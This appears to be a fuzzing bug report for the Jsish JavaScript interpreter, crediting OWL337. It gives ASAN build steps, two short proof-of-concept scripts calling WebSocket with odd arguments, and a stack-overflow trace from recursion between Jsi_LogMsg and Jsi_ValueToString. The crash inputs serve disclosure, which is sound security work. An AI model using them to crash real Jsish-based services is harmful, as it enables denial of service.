Stack-overflow src/jsiUtils.c:151 in Jsi_LogMsg

[hope-fly]

Jsish revision

Commit: 9fa798e

Version: v3.5.0

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

export CFLAGS='-fsanitize=address'
make

Test case1

WebSocket({
  "a": 2.3023e-320
})

Test case2

var JSEtest = times(function () {
    WebSocket({
        'red': (new Object(null % null))
    });
}) < times(log(null % null));
assert.sameValue(JSEtest.length, 2, 'newArr.length');

Execution steps & Output

$ ./jsish/jsish poc.js

ASAN:DEADLYSIGNAL
=================================================================
ERROR: AddressSanitizer: stack-overflow on address 0x7ffe51210dfc (pc 0x55d8eb693014 bp 0x0fffca2427b6 sp 0x7ffe51210df0 T0)
    #0 0x55d8eb693013 in Jsi_LogMsg src/jsiUtils.c:151
    #1 0x55d8eb655e02 in Jsi_ValueToString src/jsiValue.c:526
    #2 0x55d8eb693929 in Jsi_LogMsg src/jsiUtils.c:229
    #3 0x55d8eb655e02 in Jsi_ValueToString src/jsiValue.c:526
    #4 0x55d8eb693929 in Jsi_LogMsg src/jsiUtils.c:229
    #5 0x55d8eb655e02 in Jsi_ValueToString src/jsiValue.c:526
    #6 0x55d8eb693929 in Jsi_LogMsg src/jsiUtils.c:229
    ......					......					......
    ......					......					......
    #246 0x55d8eb693929 in Jsi_LogMsg src/jsiUtils.c:229
    #247 0x55d8eb655e02 in Jsi_ValueToString src/jsiValue.c:526
    #248 0x55d8eb693929 in Jsi_LogMsg src/jsiUtils.c:229
    #249 0x55d8eb655e02 in Jsi_ValueToString src/jsiValue.c:526
    #250 0x55d8eb693929 in Jsi_LogMsg src/jsiUtils.c:229
SUMMARY: AddressSanitizer: stack-overflow src/jsiUtils.c:151 in Jsi_LogMsg
====ABORTING

Credits: Found by OWL337 team.